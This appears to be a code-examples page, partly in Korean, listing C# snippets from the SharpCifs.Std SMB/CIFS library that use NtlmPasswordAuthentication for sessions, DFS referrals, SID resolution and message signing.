This class stores and encrypts NTLM user credentials.
This class stores and encrypts NTLM user credentials. The default credentials are retrieved from the jcifs.smb.client.domain, jcifs.smb.client.username, and jcifs.smb.client.password properties.

Read jCIFS Exceptions and NtlmAuthenticator for related information.

상속: Principal
예제 #1
0
        /// <exception cref="System.IO.IOException"></exception>
        internal static void ResolveSids0(string authorityServerName, NtlmPasswordAuthentication
                                          auth, Sid[] sids)
        {
            DcerpcHandle    handle       = null;
            LsaPolicyHandle policyHandle = null;

            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + authorityServerName + "[\\PIPE\\lsarpc]"
                                                    , auth);
                    string server = authorityServerName;
                    int    dot    = server.IndexOf('.');
                    if (dot > 0 && char.IsDigit(server[0]) == false)
                    {
                        server = Runtime.Substring(server, 0, dot);
                    }
                    policyHandle = new LsaPolicyHandle(handle, "\\\\" + server, unchecked (0x00000800));
                    ResolveSids(handle, policyHandle, sids);
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #2
0
 /// <exception cref="SharpCifs.Smb.SmbAuthException"></exception>
 public virtual DfsReferral GetReferral(SmbTransport trans, string domain, string
                                        root, string path, NtlmPasswordAuthentication auth)
 {
     if (Disabled)
     {
         return(null);
     }
     try
     {
         string p = "\\" + domain + "\\" + root;
         if (path != null)
         {
             p += path;
         }
         DfsReferral dr = trans.GetDfsReferrals(auth, p, 0);
         if (dr != null)
         {
             return(dr);
         }
     }
     catch (IOException ioe)
     {
         if (Log.Level >= 4)
         {
             Runtime.PrintStackTrace(ioe, Log);
         }
         if (StrictView && ioe is SmbAuthException)
         {
             throw (SmbAuthException)ioe;
         }
     }
     return(null);
 }
예제 #3
0
        /// <summary>Resolve an array of SIDs using a cache and at most one MSRPC request.</summary>
        /// <remarks>
        /// Resolve an array of SIDs using a cache and at most one MSRPC request.
        /// <p>
        /// This method will attempt
        /// to resolve SIDs using a cache and cache the results of any SIDs that
        /// required resolving with the authority. SID cache entries are currently not
        /// expired because under normal circumstances SID information never changes.
        /// </remarks>
        /// <param name="authorityServerName">The hostname of the server that should be queried. For maximum efficiency this should be the hostname of a domain controller however a member server will work as well and a domain controller may not return names for SIDs corresponding to local accounts for which the domain controller is not an authority.
        ///     </param>
        /// <param name="auth">The credentials that should be used to communicate with the named server. As usual, <tt>null</tt> indicates that default credentials should be used.
        ///     </param>
        /// <param name="sids">The SIDs that should be resolved. After this function is called, the names associated with the SIDs may be queried with the <tt>toDisplayString</tt>, <tt>getDomainName</tt>, and <tt>getAccountName</tt> methods.
        ///     </param>
        /// <exception cref="System.IO.IOException"></exception>
        public static void ResolveSids(string authorityServerName, NtlmPasswordAuthentication
                                       auth, Sid[] sids)
        {
            List <object> list = new List <object>();//new List<object>(sids.Length);
            int           si;

            lock (SidCache)
            {
                for (si = 0; si < sids.Length; si++)
                {
                    Sid sid = (Sid)SidCache.Get(sids[si]);
                    if (sid != null)
                    {
                        sids[si].Type       = sid.Type;
                        sids[si].DomainName = sid.DomainName;
                        sids[si].AcctName   = sid.AcctName;
                    }
                    else
                    {
                        list.Add(sids[si]);
                    }
                }
                if (list.Count > 0)
                {
                    //sids = (Jcifs.Smb.SID[])Sharpen.Collections.ToArray(list, new Jcifs.Smb.SID[0]);
                    sids = (Sid[])list.ToArray();
                    ResolveSids0(authorityServerName, auth, sids);
                    for (si = 0; si < sids.Length; si++)
                    {
                        SidCache.Put(sids[si], sids[si]);
                    }
                }
            }
        }
예제 #4
0
 /// <summary>Manually resolve this SID.</summary>
 /// <remarks>
 /// Manually resolve this SID. Normally SIDs are automatically
 /// resolved. However, if a SID is constructed explicitly using a SID
 /// constructor, JCIFS will have no knowledge of the server that created the
 /// SID and therefore cannot possibly resolve it automatically. In this case,
 /// this method will be necessary.
 /// </remarks>
 /// <param name="authorityServerName">The FQDN of the server that is an authority for the SID.
 ///     </param>
 /// <param name="auth">Credentials suitable for accessing the SID's information.</param>
 /// <exception cref="System.IO.IOException"></exception>
 public virtual void Resolve(string authorityServerName, NtlmPasswordAuthentication
                             auth)
 {
     Sid[] sids = new Sid[1];
     sids[0] = this;
     ResolveSids(authorityServerName, auth, sids);
 }
예제 #5
0
        internal virtual SmbSession GetSmbSession(NtlmPasswordAuthentication auth)
        {
            lock (this)
            {
                SmbSession ssn;
                long       now;

                ssn = Sessions.FirstOrDefault(s => s.Matches(auth));
                if (ssn != null)
                {
                    ssn.Auth = auth;
                    return(ssn);
                }

                if (SmbConstants.SoTimeout > 0 &&
                    SessionExpiration < (now = Runtime.CurrentTimeMillis()))
                {
                    SessionExpiration = now + SmbConstants.SoTimeout;

                    foreach (var session in Sessions.Where(s => s.Expiration < now))
                    {
                        session.Logoff(false);
                    }
                }
                ssn           = new SmbSession(Address, Port, LocalAddr, LocalPort, auth);
                ssn.transport = this;
                Sessions.Add(ssn);
                return(ssn);
            }
        }
예제 #6
0
		/// <exception cref="UnknownHostException"></exception>
		/// <exception cref="System.UriFormatException"></exception>
		/// <exception cref="SharpCifs.Dcerpc.DcerpcException"></exception>
		public DcerpcPipeHandle(string url, NtlmPasswordAuthentication auth)
		{
			Binding = ParseBinding(url);
			url = "smb://" + Binding.Server + "/IPC$/" + Runtime.Substring(Binding.Endpoint
				, 6);
			string @params = string.Empty;
			string server;
			string address;
			server = (string)Binding.GetOption("server");
			if (server != null)
			{
				@params += "&server=" + server;
			}
			address = (string)Binding.GetOption("address");
			if (server != null)
			{
				@params += "&address=" + address;
			}
			if (@params.Length > 0)
			{
				url += "?" + Runtime.Substring(@params, 1);
			}
			Pipe = new SmbNamedPipe(url, (unchecked(0x2019F) << 16) | SmbNamedPipe.PipeTypeRdwr
				 | SmbNamedPipe.PipeTypeDceTransact, auth);
		}
예제 #7
0
 internal virtual bool IsSignatureSetupRequired(NtlmPasswordAuthentication auth)
 {
     return((Flags2 & SmbConstants.Flags2SecuritySignatures) != 0 &&
            Digest == null &&
            auth != NtlmPasswordAuthentication.Null &&
            NtlmPasswordAuthentication.Null.Equals(auth) == false);
 }
예제 #8
0
		/// <exception cref="SharpCifs.Smb.SmbException"></exception>
		public SigningDigest(SmbTransport transport, NtlmPasswordAuthentication auth)
		{
			try
			{
				_digest = MessageDigest.GetInstance("MD5");
			}
			catch (NoSuchAlgorithmException ex)
			{
				if (Log.Level > 0)
				{
					Runtime.PrintStackTrace(ex, Log);
				}
				throw new SmbException("MD5", ex);
			}
			try
			{
                switch (SmbConstants.LmCompatibility)
				{
					case 0:
					case 1:
					case 2:
					{
						_macSigningKey = new byte[40];
						auth.GetUserSessionKey(transport.Server.EncryptionKey, _macSigningKey, 0);
						Array.Copy(auth.GetUnicodeHash(transport.Server.EncryptionKey), 0, _macSigningKey
							, 16, 24);
						break;
					}

					case 3:
					case 4:
					case 5:
					{
						_macSigningKey = new byte[16];
						auth.GetUserSessionKey(transport.Server.EncryptionKey, _macSigningKey, 0);
						break;
					}

					default:
					{
						_macSigningKey = new byte[40];
						auth.GetUserSessionKey(transport.Server.EncryptionKey, _macSigningKey, 0);
						Array.Copy(auth.GetUnicodeHash(transport.Server.EncryptionKey), 0, _macSigningKey
							, 16, 24);
					    break;
					}
				}
			}
			catch (Exception ex)
			{
				throw new SmbException(string.Empty, ex);
			}
			if (Log.Level >= 5)
			{
                Log.WriteLine("LM_COMPATIBILITY=" + SmbConstants.LmCompatibility);
				Hexdump.ToHexdump(Log, _macSigningKey, 0, _macSigningKey.Length);
			}
		}
예제 #9
0
        /// <exception cref="SharpCifs.Smb.SmbException"></exception>
        public SigningDigest(SmbTransport transport, NtlmPasswordAuthentication auth)
        {
            try
            {
                _digest = MessageDigest.GetInstance("MD5");
            }
            catch (NoSuchAlgorithmException ex)
            {
                if (Log.Level > 0)
                {
                    Runtime.PrintStackTrace(ex, Log);
                }
                throw new SmbException("MD5", ex);
            }
            try
            {
                switch (SmbConstants.LmCompatibility)
                {
                case 0:
                case 1:
                case 2:
                {
                    _macSigningKey = new byte[40];
                    auth.GetUserSessionKey(transport.Server.EncryptionKey, _macSigningKey, 0);
                    Array.Copy(auth.GetUnicodeHash(transport.Server.EncryptionKey), 0, _macSigningKey
                               , 16, 24);
                    break;
                }

                case 3:
                case 4:
                case 5:
                {
                    _macSigningKey = new byte[16];
                    auth.GetUserSessionKey(transport.Server.EncryptionKey, _macSigningKey, 0);
                    break;
                }

                default:
                {
                    _macSigningKey = new byte[40];
                    auth.GetUserSessionKey(transport.Server.EncryptionKey, _macSigningKey, 0);
                    Array.Copy(auth.GetUnicodeHash(transport.Server.EncryptionKey), 0, _macSigningKey
                               , 16, 24);
                    break;
                }
                }
            }
            catch (Exception ex)
            {
                throw new SmbException(string.Empty, ex);
            }
            if (Log.Level >= 5)
            {
                Log.WriteLine("LM_COMPATIBILITY=" + SmbConstants.LmCompatibility);
                Hexdump.ToHexdump(Log, _macSigningKey, 0, _macSigningKey.Length);
            }
        }
예제 #10
0
파일: Dfs.cs 프로젝트: MCord/SharpCifs.Std
        /// <exception cref="SharpCifs.Smb.SmbAuthException"></exception>
        public virtual bool IsTrustedDomain(string domain, NtlmPasswordAuthentication auth)
        {
            Hashtable domains = GetTrustedDomains(auth);

            if (domains == null)
            {
                return(false);
            }
            domain = domain.ToLower();
            return(domains.Get(domain) != null);
        }
예제 #11
0
 internal SmbSession(UniAddress address, int port, IPAddress localAddr, int localPort
                     , NtlmPasswordAuthentication auth)
 {
     // Transport parameters allows trans to be removed from CONNECTIONS
     this._address   = address;
     this._port      = port;
     this._localAddr = localAddr;
     this._localPort = localPort;
     this.Auth       = auth;
     Trees           = new List <object>();
     ConnectionState = 0;
 }
예제 #12
0
        internal SmbSession(UniAddress address, int port, IPAddress localAddr, int localPort
			, NtlmPasswordAuthentication auth)
        {
            // Transport parameters allows trans to be removed from CONNECTIONS
            this._address = address;
            this._port = port;
            this._localAddr = localAddr;
            this._localPort = localPort;
            this.Auth = auth;
            Trees = new List<object>();
            ConnectionState = 0;
        }
예제 #13
0
 public NtlmContext(NtlmPasswordAuthentication auth, bool doSigning)
 {
     this.Auth    = auth;
     NtlmsspFlags = NtlmsspFlags | NtlmFlags.NtlmsspRequestTarget | NtlmFlags.NtlmsspNegotiateNtlm2
                    | NtlmFlags.NtlmsspNegotiate128;
     if (doSigning)
     {
         NtlmsspFlags |= NtlmFlags.NtlmsspNegotiateSign | NtlmFlags.NtlmsspNegotiateAlwaysSign
                         | NtlmFlags.NtlmsspNegotiateKeyExch;
     }
     Workstation = Type1Message.GetDefaultWorkstation();
     Log         = LogStream.GetInstance();
 }
예제 #14
0
 public NtlmContext(NtlmPasswordAuthentication auth, bool doSigning)
 {
     this.Auth = auth;
     NtlmsspFlags = NtlmsspFlags | NtlmFlags.NtlmsspRequestTarget | NtlmFlags.NtlmsspNegotiateNtlm2
          | NtlmFlags.NtlmsspNegotiate128;
     if (doSigning)
     {
         NtlmsspFlags |= NtlmFlags.NtlmsspNegotiateSign | NtlmFlags.NtlmsspNegotiateAlwaysSign
              | NtlmFlags.NtlmsspNegotiateKeyExch;
     }
     Workstation = Type1Message.GetDefaultWorkstation();
     Log = LogStream.GetInstance();
 }
예제 #15
0
파일: SID.cs 프로젝트: MCord/SharpCifs.Std
        /// <exception cref="System.IO.IOException"></exception>
        public virtual Sid[] GetGroupMemberSids(string authorityServerName,
                                                NtlmPasswordAuthentication auth,
                                                int flags)
        {
            if (Type != SidTypeDomGrp && Type != SidTypeAlias)
            {
                return(new Sid[0]);
            }
            DcerpcHandle     handle       = null;
            SamrPolicyHandle policyHandle = null;
            SamrDomainHandle domainHandle = null;
            Sid domsid = GetDomainSid();

            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + authorityServerName
                                                    + "[\\PIPE\\samr]", auth);
                    policyHandle = new SamrPolicyHandle(handle,
                                                        authorityServerName,
                                                        unchecked (0x00000030));
                    domainHandle = new SamrDomainHandle(handle,
                                                        policyHandle,
                                                        unchecked (0x00000200),
                                                        domsid);
                    return(GetGroupMemberSids0(handle,
                                               domainHandle,
                                               domsid,
                                               GetRid(),
                                               flags));
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            if (domainHandle != null)
                            {
                                domainHandle.Close();
                            }
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #16
0
        /// <exception cref="SharpCifs.Smb.SmbException"></exception>
        internal virtual DfsReferral GetDfsReferrals(NtlmPasswordAuthentication auth,
                                                     string path,
                                                     int rn)
        {
            SmbTree ipc = GetSmbSession(auth).GetSmbTree("IPC$", null);
            Trans2GetDfsReferralResponse resp = new Trans2GetDfsReferralResponse();

            ipc.Send(new Trans2GetDfsReferral(path), resp);
            if (resp.NumReferrals == 0)
            {
                return(null);
            }
            if (rn == 0 || resp.NumReferrals < rn)
            {
                rn = resp.NumReferrals;
            }
            DfsReferral dr = new DfsReferral();

            string[] arr        = new string[4];
            long     expiration = Runtime.CurrentTimeMillis() + Dfs.Ttl * 1000;
            int      di         = 0;

            for (;;)
            {
                dr.ResolveHashes = auth.HashesExternal;
                dr.Ttl           = resp.Referrals[di].Ttl;
                dr.Expiration    = expiration;
                if (path.Equals(string.Empty))
                {
                    dr.Server = Runtime.Substring(resp.Referrals[di].Path, 1).ToLower();
                }
                else
                {
                    DfsPathSplit(resp.Referrals[di].Node, arr);
                    dr.Server = arr[1];
                    dr.Share  = arr[2];
                    dr.Path   = arr[3];
                }
                dr.PathConsumed = resp.PathConsumed;
                di++;
                if (di == rn)
                {
                    break;
                }
                dr.Append(new DfsReferral());
                dr = dr.Next;
            }
            return(dr.Next);
        }
예제 #17
0
		/// <exception cref="SharpCifs.Smb.SmbAuthException"></exception>
		public virtual Hashtable GetTrustedDomains(NtlmPasswordAuthentication auth)
		{
			if (Disabled || auth.Domain == "?")
			{
				return null;
			}
			if (Domains != null && Runtime.CurrentTimeMillis() > Domains.Expiration)
			{
				Domains = null;
			}
			if (Domains != null)
			{
				return Domains.Map;
			}
			try
			{
				UniAddress addr = UniAddress.GetByName(auth.Domain, true);
				SmbTransport trans = SmbTransport.GetSmbTransport(addr, 0);
				CacheEntry entry = new CacheEntry(Ttl * 10L);
				DfsReferral dr = trans.GetDfsReferrals(auth, string.Empty, 0);
				if (dr != null)
				{
					DfsReferral start = dr;
					do
					{
						string domain = dr.Server.ToLower();
						entry.Map.Put(domain, new Hashtable());
						dr = dr.Next;
					}
					while (dr != start);
					Domains = entry;
					return Domains.Map;
				}
			}
			catch (IOException ioe)
			{
				if (Log.Level >= 3)
				{
					Runtime.PrintStackTrace(ioe, Log);
				}
				if (StrictView && ioe is SmbAuthException)
				{
					throw (SmbAuthException)ioe;
				}
			}
			return null;
		}
예제 #18
0
파일: Dfs.cs 프로젝트: MCord/SharpCifs.Std
 /// <exception cref="SharpCifs.Smb.SmbAuthException"></exception>
 public virtual Hashtable GetTrustedDomains(NtlmPasswordAuthentication auth)
 {
     if (Disabled || auth.Domain == "?")
     {
         return(null);
     }
     if (Domains != null && Runtime.CurrentTimeMillis() > Domains.Expiration)
     {
         Domains = null;
     }
     if (Domains != null)
     {
         return(Domains.Map);
     }
     try
     {
         UniAddress   addr  = UniAddress.GetByName(auth.Domain, true);
         SmbTransport trans = SmbTransport.GetSmbTransport(addr, 0);
         CacheEntry   entry = new CacheEntry(Ttl * 10L);
         DfsReferral  dr    = trans.GetDfsReferrals(auth, string.Empty, 0);
         if (dr != null)
         {
             DfsReferral start = dr;
             do
             {
                 string domain = dr.Server.ToLower();
                 entry.Map.Put(domain, new Hashtable());
                 dr = dr.Next;
             }while (dr != start);
             Domains = entry;
             return(Domains.Map);
         }
     }
     catch (IOException ioe)
     {
         if (Log.Level >= 3)
         {
             Runtime.PrintStackTrace(ioe, Log);
         }
         if (StrictView && ioe is SmbAuthException)
         {
             throw (SmbAuthException)ioe;
         }
     }
     return(null);
 }
예제 #19
0
        /// <exception cref="SharpCifs.Smb.SmbException"></exception>
        public static void Logon(UniAddress dc, int port, NtlmPasswordAuthentication auth
                                 )
        {
            SmbTree tree = SmbTransport.GetSmbTransport(dc, port).GetSmbSession(auth).GetSmbTree
                               (LogonShare, null);

            if (LogonShare == null)
            {
                tree.TreeConnect(null, null);
            }
            else
            {
                Trans2FindFirst2         req  = new Trans2FindFirst2("\\", "*", SmbFile.AttrDirectory);
                Trans2FindFirst2Response resp = new Trans2FindFirst2Response();
                tree.Send(req, resp);
            }
        }
예제 #20
0
 internal virtual void ResolveWeak()
 {
     if (OriginServer != null)
     {
         try
         {
             Resolve(OriginServer, OriginAuth);
         }
         catch (IOException)
         {
         }
         finally
         {
             OriginServer = null;
             OriginAuth   = null;
         }
     }
 }
예제 #21
0
파일: Dfs.cs 프로젝트: MCord/SharpCifs.Std
 /// <exception cref="SharpCifs.Smb.SmbAuthException"></exception>
 public virtual SmbTransport GetDc(string domain, NtlmPasswordAuthentication auth)
 {
     if (Disabled)
     {
         return(null);
     }
     try
     {
         UniAddress   addr  = UniAddress.GetByName(domain, true);
         SmbTransport trans = SmbTransport.GetSmbTransport(addr, 0);
         DfsReferral  dr    = trans.GetDfsReferrals(auth, "\\" + domain, 1);
         if (dr != null)
         {
             DfsReferral start = dr;
             IOException e     = null;
             do
             {
                 try
                 {
                     addr = UniAddress.GetByName(dr.Server);
                     return(SmbTransport.GetSmbTransport(addr, 0));
                 }
                 catch (IOException ioe)
                 {
                     e = ioe;
                 }
                 dr = dr.Next;
             }while (dr != start);
             throw e;
         }
     }
     catch (IOException ioe)
     {
         if (Log.Level >= 3)
         {
             Runtime.PrintStackTrace(ioe, Log);
         }
         if (StrictView && ioe is SmbAuthException)
         {
             throw (SmbAuthException)ioe;
         }
     }
     return(null);
 }
예제 #22
0
파일: SID.cs 프로젝트: MCord/SharpCifs.Std
        /// <exception cref="System.IO.IOException"></exception>
        internal static Sid[] GetGroupMemberSids0(DcerpcHandle handle,
                                                  SamrDomainHandle domainHandle,
                                                  Sid domsid,
                                                  int rid,
                                                  int flags)
        {
            SamrAliasHandle aliasHandle = null;

            Lsarpc.LsarSidArray    sidarray = new Lsarpc.LsarSidArray();
            MsrpcGetMembersInAlias rpc      = null;

            try
            {
                aliasHandle = new SamrAliasHandle(handle, domainHandle, unchecked (0x0002000c), rid);
                rpc         = new MsrpcGetMembersInAlias(aliasHandle, sidarray);
                handle.Sendrecv(rpc);
                if (rpc.Retval != 0)
                {
                    throw new SmbException(rpc.Retval, false);
                }
                Sid[]  sids         = new Sid[rpc.Sids.NumSids];
                string originServer = handle.GetServer();
                NtlmPasswordAuthentication originAuth
                    = (NtlmPasswordAuthentication)handle.GetPrincipal();
                for (int i = 0; i < sids.Length; i++)
                {
                    sids[i] = new Sid(rpc.Sids.Sids[i].Sid, 0, null, null, false);
                    sids[i].OriginServer = originServer;
                    sids[i].OriginAuth   = originAuth;
                }
                if (sids.Length > 0 && (flags & SidFlagResolveSids) != 0)
                {
                    ResolveSids(originServer, originAuth, sids);
                }
                return(sids);
            }
            finally
            {
                if (aliasHandle != null)
                {
                    aliasHandle.Close();
                }
            }
        }
예제 #23
0
파일: SID.cs 프로젝트: MCord/SharpCifs.Std
        /// <exception cref="System.IO.IOException"></exception>
        public static Sid GetServerSid(string server,
                                       NtlmPasswordAuthentication auth)
        {
            DcerpcHandle    handle       = null;
            LsaPolicyHandle policyHandle = null;

            Lsarpc.LsarDomainInfo       info = new Lsarpc.LsarDomainInfo();
            MsrpcQueryInformationPolicy rpc;

            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + server + "[\\PIPE\\lsarpc]", auth);
                    // NetApp doesn't like the 'generic' access mask values
                    policyHandle = new LsaPolicyHandle(handle, null, unchecked (0x00000001));
                    rpc          = new MsrpcQueryInformationPolicy(policyHandle,
                                                                   Lsarpc.PolicyInfoAccountDomain,
                                                                   info);
                    handle.Sendrecv(rpc);
                    if (rpc.Retval != 0)
                    {
                        throw new SmbException(rpc.Retval, false);
                    }
                    return(new Sid(info.Sid,
                                   SidTypeDomain,
                                   (new UnicodeString(info.Name, false)).ToString(),
                                   null,
                                   false));
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #24
0
 /// <summary>
 /// Compares two <tt>NtlmPasswordAuthentication</tt> objects for
 /// equality.
 /// </summary>
 /// <remarks>
 /// Compares two <tt>NtlmPasswordAuthentication</tt> objects for
 /// equality. Two <tt>NtlmPasswordAuthentication</tt> objects are equal if
 /// their caseless domain and username fields are equal and either both hashes are external and they are equal or both internally supplied passwords are equal. If one <tt>NtlmPasswordAuthentication</tt> object has external hashes (meaning negotiated via NTLM HTTP Authentication) and the other does not they will not be equal. This is technically not correct however the server 8 byte challage would be required to compute and compare the password hashes but that it not available with this method.
 /// </remarks>
 public override bool Equals(object obj)
 {
     if (obj is NtlmPasswordAuthentication)
     {
         NtlmPasswordAuthentication ntlm = (NtlmPasswordAuthentication)obj;
         if (ntlm.Domain.ToUpper().Equals(Domain.ToUpper()) &&
             ntlm.Username.ToUpper().Equals(Username.ToUpper()))
         {
             if (HashesExternal && ntlm.HashesExternal)
             {
                 return(Arrays.Equals(AnsiHash, ntlm.AnsiHash) &&
                        Arrays.Equals(UnicodeHash, ntlm.UnicodeHash));
             }
             if (!HashesExternal && Password.Equals(ntlm.Password))
             {
                 return(true);
             }
         }
     }
     return(false);
 }
예제 #25
0
파일: Dfs.cs 프로젝트: MCord/SharpCifs.Std
 /// <exception cref="SharpCifs.Smb.SmbAuthException"></exception>
 public virtual DfsReferral Resolve(string domain,
                                    string root,
                                    string path,
                                    NtlmPasswordAuthentication auth)
 {
     lock (this)
     {
         DfsReferral dr  = null;
         long        now = Runtime.CurrentTimeMillis();
         if (Disabled || root.Equals("IPC$"))
         {
             return(null);
         }
         Hashtable domains = GetTrustedDomains(auth);
         if (domains != null)
         {
             domain = domain.ToLower();
             Hashtable roots = (Hashtable)domains.Get(domain);
             if (roots != null)
             {
                 SmbTransport trans = null;
                 root = root.ToLower();
                 CacheEntry links = (CacheEntry)roots.Get(root);
                 if (links != null && now > links.Expiration)
                 {
                     //Sharpen.Collections.Remove(roots, root);
                     roots.Remove(root);
                     links = null;
                 }
                 if (links == null)
                 {
                     if ((trans = GetDc(domain, auth)) == null)
                     {
                         return(null);
                     }
                     dr = GetReferral(trans, domain, root, path, auth);
                     if (dr != null)
                     {
                         int len = 1 + domain.Length + 1 + root.Length;
                         links = new CacheEntry(0L);
                         DfsReferral tmp = dr;
                         do
                         {
                             if (path == null)
                             {
                                 // TODO: fix this
                                 //tmp.map = links.map;
                                 tmp.Key = "\\";
                             }
                             tmp.PathConsumed -= len;
                             tmp = tmp.Next;
                         }while (tmp != dr);
                         if (dr.Key != null)
                         {
                             links.Map.Put(dr.Key, dr);
                         }
                         roots.Put(root, links);
                     }
                     else
                     {
                         if (path == null)
                         {
                             roots.Put(root, FalseEntry);
                         }
                     }
                 }
                 else
                 {
                     if (links == FalseEntry)
                     {
                         links = null;
                     }
                 }
                 if (links != null)
                 {
                     string link = "\\";
                     dr = (DfsReferral)links.Map.Get(link);
                     if (dr != null && now > dr.Expiration)
                     {
                         //Sharpen.Collections.Remove(links.map, link);
                         links.Map.Remove(link);
                         dr = null;
                     }
                     if (dr == null)
                     {
                         if (trans == null)
                         {
                             if ((trans = GetDc(domain, auth)) == null)
                             {
                                 return(null);
                             }
                         }
                         dr = GetReferral(trans, domain, root, path, auth);
                         if (dr != null)
                         {
                             dr.PathConsumed -= 1 + domain.Length + 1 + root.Length;
                             dr.Link          = link;
                             links.Map.Put(link, dr);
                         }
                     }
                 }
             }
         }
         if (dr == null && path != null)
         {
             if (Referrals != null && now > Referrals.Expiration)
             {
                 Referrals = null;
             }
             if (Referrals == null)
             {
                 Referrals = new CacheEntry(0);
             }
             string key = "\\" + domain + "\\" + root;
             if (path.Equals("\\") == false)
             {
                 key += path;
             }
             key = key.ToLower();
             //ListIterator<object> iter = new ListIterator<object>(referrals.map.Keys.GetEnumerator(), 0);
             foreach (var current in Referrals.Map.Keys)
             {
                 string _key  = (string)current;
                 int    klen  = _key.Length;
                 bool   match = false;
                 if (klen == key.Length)
                 {
                     match = _key.Equals(key);
                 }
                 else
                 {
                     if (klen < key.Length)
                     {
                         match = _key.RegionMatches(false, 0, key, 0, klen) && key[klen] == '\\';
                     }
                 }
                 if (match)
                 {
                     dr = (DfsReferral)Referrals.Map.Get(_key);
                 }
             }
         }
         return(dr);
     }
 }
예제 #26
0
 internal virtual bool IsSignatureSetupRequired(NtlmPasswordAuthentication auth)
 {
     return (Flags2 & SmbConstants.Flags2SecuritySignatures) != 0 && Digest ==
          null && auth != NtlmPasswordAuthentication.Null && NtlmPasswordAuthentication.Null
         .Equals(auth) == false;
 }
예제 #27
0
        /// <summary>
        /// Constructs an SmbFile representing a resource on an SMB network such
        /// as a file or directory.
        /// </summary>
        /// <remarks>
        /// Constructs an SmbFile representing a resource on an SMB network such
        /// as a file or directory. The second parameter is a relative path from
        /// the <code>context</code>. See the description above for examples of
        /// using the second <code>name</code> parameter.
        /// </remarks>
        /// <param name="context">A URL string</param>
        /// <param name="name">A path string relative to the <code>context</code> paremeter</param>
        /// <param name="auth">The credentials the client should use for authentication</param>
        /// <exception cref="System.UriFormatException">
        /// If the <code>context</code> and <code>name</code> parameters
        /// do not follow the prescribed syntax
        /// </exception>
        public SmbFile(string context, string name, NtlmPasswordAuthentication auth)
            : this
                (new Uri(context + name)
                , auth)
        {

        }
예제 #28
0
 /// <summary>
 /// Constructs an SmbFile representing a resource on an SMB network such
 /// as a file or directory from a <tt>URL</tt> object and an
 /// <tt>NtlmPasswordAuthentication</tt> object.
 /// </summary>
 /// <remarks>
 /// Constructs an SmbFile representing a resource on an SMB network such
 /// as a file or directory from a <tt>URL</tt> object and an
 /// <tt>NtlmPasswordAuthentication</tt> object.
 /// </remarks>
 /// <param name="url">The URL of the target resource</param>
 /// <param name="auth">The credentials the client should use for authentication</param>
 public SmbFile(Uri url, NtlmPasswordAuthentication auth)
 {
     this.Auth = auth ?? new NtlmPasswordAuthentication(url.GetUserInfo());
     Url = url;
     GetUncPath0();
 }
예제 #29
0
        /// <summary>
        /// This specialized method returns a Map of users and local groups for the
        /// target server where keys are SIDs representing an account and each value
        /// is an List<object> of SIDs represents the local groups that the account is
        /// a member of.
        /// </summary>
        /// <remarks>
        /// This specialized method returns a Map of users and local groups for the
        /// target server where keys are SIDs representing an account and each value
        /// is an List<object> of SIDs represents the local groups that the account is
        /// a member of.
        /// <p/>
        /// This method is designed to assist with computing access control for a
        /// given user when the target object's ACL has local groups. Local groups
        /// are not listed in a user's group membership (e.g. as represented by the
        /// tokenGroups constructed attribute retrived via LDAP).
        /// <p/>
        /// Domain groups nested inside a local group are currently not expanded. In
        /// this case the key (SID) type will be SID_TYPE_DOM_GRP rather than
        /// SID_TYPE_USER.
        /// </remarks>
        /// <param name="authorityServerName">The server from which the local groups will be queried.
        ///     </param>
        /// <param name="auth">The credentials required to query groups and group members.</param>
        /// <param name="flags">
        /// Flags that control the behavior of the operation. When all
        /// name associated with SIDs will be required, the SID_FLAG_RESOLVE_SIDS
        /// flag should be used which causes all group member SIDs to be resolved
        /// together in a single more efficient operation.
        /// </param>
        /// <exception cref="System.IO.IOException"></exception>
        internal static Hashtable GetLocalGroupsMap(string authorityServerName, NtlmPasswordAuthentication
                                                    auth, int flags)
        {
            Sid              domsid       = GetServerSid(authorityServerName, auth);
            DcerpcHandle     handle       = null;
            SamrPolicyHandle policyHandle = null;
            SamrDomainHandle domainHandle = null;

            Samr.SamrSamArray             sam = new Samr.SamrSamArray();
            MsrpcEnumerateAliasesInDomain rpc;

            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + authorityServerName + "[\\PIPE\\samr]"
                                                    , auth);
                    policyHandle = new SamrPolicyHandle(handle, authorityServerName, unchecked (0x02000000));
                    domainHandle = new SamrDomainHandle(handle, policyHandle, unchecked (0x02000000), domsid);
                    rpc          = new MsrpcEnumerateAliasesInDomain(domainHandle, unchecked (0xFFFF), sam
                                                                     );
                    handle.Sendrecv(rpc);
                    if (rpc.Retval != 0)
                    {
                        throw new SmbException(rpc.Retval, false);
                    }
                    Hashtable map = new Hashtable();
                    for (int ei = 0; ei < rpc.Sam.Count; ei++)
                    {
                        Samr.SamrSamEntry entry = rpc.Sam.Entries[ei];
                        Sid[]             mems  = GetGroupMemberSids0(handle, domainHandle, domsid
                                                                      , entry.Idx, flags);
                        Sid groupSid = new Sid(domsid, entry.Idx);
                        groupSid.Type       = SidTypeAlias;
                        groupSid.DomainName = domsid.GetDomainName();
                        groupSid.AcctName   = (new UnicodeString(entry.Name, false)).ToString();
                        for (int mi = 0; mi < mems.Length; mi++)
                        {
                            List <object> groups = (List <object>)map.Get(mems[mi]);
                            if (groups == null)
                            {
                                groups = new List <object>();
                                map.Put(mems[mi], groups);
                            }
                            if (!groups.Contains(groupSid))
                            {
                                groups.Add(groupSid);
                            }
                        }
                    }
                    return(map);
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            if (domainHandle != null)
                            {
                                domainHandle.Close();
                            }
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #30
0
        /// <summary>
        /// Constructs an SmbFile representing a resource on an SMB network such
        /// as a file or directory.
        /// </summary>
        /// <remarks>
        /// Constructs an SmbFile representing a resource on an SMB network such
        /// as a file or directory.
        /// </remarks>
        /// <param name="url">A URL string</param>
